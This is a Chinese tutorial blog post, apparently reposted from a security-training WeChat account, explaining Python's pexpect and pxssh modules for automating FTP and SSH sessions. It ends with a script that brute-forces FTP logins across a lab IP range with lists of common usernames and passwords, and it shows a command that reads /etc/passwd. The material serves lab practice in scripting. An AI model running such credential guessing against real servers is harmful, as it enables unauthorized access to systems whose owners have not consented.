python使用pexpect实现ftp的操作

文章以word形式发至邮箱:

minwei.wang@dbappsecurity.com.cn

有偿投稿,记得留下你的姓名联系方式哦~

先来介绍一下pexpect,pexpect可以理解为Linux下expect(不知道的可以百度下linux expect)的python封装。通过pexpect可以实现对ssh、ftp、passwd、telnet等命令进行自动交互,而无需人工干涉来达到自动化的目的。比如我们可以模拟一个FTP登录时的所有交互,包括输入主机地址、用户名、密码,还有对文件上传下载操作等等,若出现异常,我们也可以进行自动化处理。

Pexpect的安装

可以使用pip安装

pip install pexpect

也可以使用easy_install

easy_install pexpect

本菜鸡在win7下使用pip安装的时候抛出好多异常,简直阔怕(后来发现是我的疏忽,我py2和py3同存的问题)无奈只能通过下载模块之后本地安装。

下载地址: https://pypi.python.org/pypi/pexpect/

适用于py2和py3

下载完成之后找到对应路径直接使用pip安装即可

后来遇到个坑,发现windows下不支持pexpect,只好改换linux

一个简单的ftp登录脚本

#coding:utf-8

import pexpect

ftp = pexpect.spawn('ftp 192.168.112.129') #spawn启动ftp程序

ftp.expect('Name') #expect方法等待子程序产生的输出,判断是否匹配定义的字符串Name

ftp.sendline('anonymous') #匹配后发送用户名字符串进行回应

ftp.expect('Password:')

ftp.sendline('anonymous')

ftp.sendline('pwd')

ftp.interact() #执行完成后保持交互状态,把控制权交给控制台

运行结果:

pexpect组件简介

1. spawn类

spanw是pexpect的主要接口,功能就是启动和控制子应用程序。spawn()中可以是系统中的命令,但是不会解析shell命令中的元字符,包括重定向“>”,管道符“|”或者通配符“*”,但是我们可以将含有这三个特殊元字符的命令作为/bin/bash的参数进行调用,例如:

she = pexpect.spawn(‘/bin/bash –c “cat /etc/passwd | grep root > log.txt”’)

she.expect(pexpect.EOF)

spawn支持使用python列表来代替参数项,比如上述命令可变为:

command = ‘cat /etc/passwd | grep root > log.txt’

she = pexpect.spawn(‘/bin/bash’,[‘-c’,command])

she.expect(pexpect.EOF)

(1)expect方法:expect定义了子程序输出的匹配规则。也可使用列表进行匹配,返回值是一个下标值,如果列表中有多个元素被匹配,则返回的是最先出现的字符的下标值。

如上边的脚本中ftp.expect('Name'),返回值为0

列表的情况如下图,返回值为2

(2)read方法:向子程序发送响应命令,可以理解为代替了我们的键盘输入。

例如:

send(self,s) 发送命令,不回车

sendline(self,s=’’) 发送命令,回车

sendcontrol(self,char) 发送控制字符test.sendcontrol(‘c’)等价于“ctrl+c”

sendeof() 发送eof

2. run函数

run是使用pexpect进行封装的调用外部命令的函数,类似于os.system()或os.popen()方法,不同的是,使用run可以同时获得命令的输出结果及其命令的退出状态。

pexpect.run('ssh xxx@x.x.x.x',events={'password:':'xxx'})

events是个字典

3. pxssh类

pxssh是pexpect的派生类,常用的方法有:

login() 建立ssh连接

logout() 断开连接

prompt() 等待系统提示符,用于等待命令执行结束。

一个简单的ssh登录交互式脚本

#coding:utf-8

import pxssh

hostname = '192.168.112.129'

username = 'msfadmin'

password = 'msfadmin'

try:

ssh = pxssh.pxssh()

ssh.login(hostname,username,password)

ssh.sendline('whoami')

ssh.prompt() #匹配系统提示符

print ssh.before #打印系统提示符前的输出

except pxssh.ExceptionPxssh,e:

print "登录失败"

print str(e)

编写实现ftp服务状态测试以及登录口令破解功能

(脚本文档点击阅读原文获取,提取码:7m0a)

#coding:utf-8

import pexpect

def ftp_connect(ip,username,password):

try:

ftp = pexpect.spawn('ftp ' + ip,timeout=0.15) #设置超时时间为0.15s

ftp.expect('Name')

print ip + " Ftp service is opening"

ftp.sendline(username)

print ftp.before

print "testing username: " + username

ftp.expect('Password:')

ftp.sendline(password)

print "testing password: " + password

ftp.expect('Login successful')

print "[+]successfully! username is " + username

print "[+]successfully! password is " + password

ftp.sendline('bye')

ftp.close()

return message

except Exception,e:

print "[-]error!"

def ip():

ip_list = []

ip = "192.168.112."

for i in xrange(128,130):

ip += str(i)

ip_list.append(ip)

ip = "192.168.112."

return ip_list

def payloads_list():

ip_list = ip()

username_list = ['root','admin','msfadmin','anonymous','ftpuser']

password_list = ['password','123456','msfadmin']

payload = []

payloads = []

for a in ip_list:

for b in username_list:

for c in password_list:

payload.append(a)

payload.append(b)

payload.append(c) #把所需参数加入payload中

for i in range(0,len(payload),3):

payloads.append(payload[i:i+3]) #将payload切割,生成一一对应的参数放入新的列表中

return payloads

def attack():

payloads = payloads_list()

for i in range(len(payloads)):

ftp_connect(payloads[i][0],payloads[i][1],payloads[i][2])

if __name__ == '__main__':

attack()

脚本运行结果(部分结果):

这也算是个多功能脚本吧,测试ssh的时候,只需替换相应的代码即可。当然不比其他工具,算是个练习吧,练习编写脚本的能力。

-END-

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-05-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

3 条评论
登录 后参与评论

相关文章

来自专栏数据和云

【千里之行始于足下】谈Oracle的system表空间

编辑手记:SYSTEM表空间是Oracle数据库最重要的表空间,在创建数据库时被最先创建,其中包含了数据库的元数据,对于数据库来说生死攸关。对于很多初学者,全面...

3115
来自专栏木头编程 - moTzxx

PHP DB 数据库连接类

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u011415782/article/de...

901
来自专栏北京马哥教育

77%的Linux运维都不懂的内核问题

1918
来自专栏吴伟祥

Linux下的shell简介(三) 原

        shell的本意是“壳”的意思,其实已经很形象地说明了shell在Linux系统中的作用。shell就是围绕在Linux内核之外的一个“壳”程序...

603
来自专栏一“技”之长

Xcode中修改变量名、类名及字符串的替换操作

        在做iOS开发代码优化的工作时,优化代码结构之前,我们应该先整理好工程的外貌,将文件和类的命名进行规范,在Xcode中为我们提供了方便而强大的名...

592
来自专栏狮乐园

高级 Angular 组件模式 (3b)

Kent C. Dodds的第四篇文章中的一个重要元素在上一篇文章中没有涉及,使用withToggle高阶组件(HoC, react中的常用模式)可以将<tog...

801
来自专栏小詹同学

Python 4 种不同的存取文件骚操作

前言:最近开始学习tensorflow框架,选修课让任选一种框架实现mnist手写数字的识别分类。小詹也就随着大流选择了 tf 框架,跟着教程边学边做,小詹用了...

1213
来自专栏后端技术探索

一次非常有意思的sql优化经历

发现没有用到索引,type全是ALL,那么首先想到的就是建立一个索引,建立索引的字段当然是在where条件的字段。

661
来自专栏编程一生

漫画:Linux中/etc/resolv.conf文件和puppet工具解析

1156
来自专栏腾讯移动品质中心TMQ的专栏

手机APP安装包缩减方案

安装包大小对于产品很重要 主要有如下几个原因: 1、手机APP安装包的大小会影响用户是否愿意花费流量来下载此APP; 2、包体越大下载过程越长,用户取消下载的可...

2246

扫码关注云+社区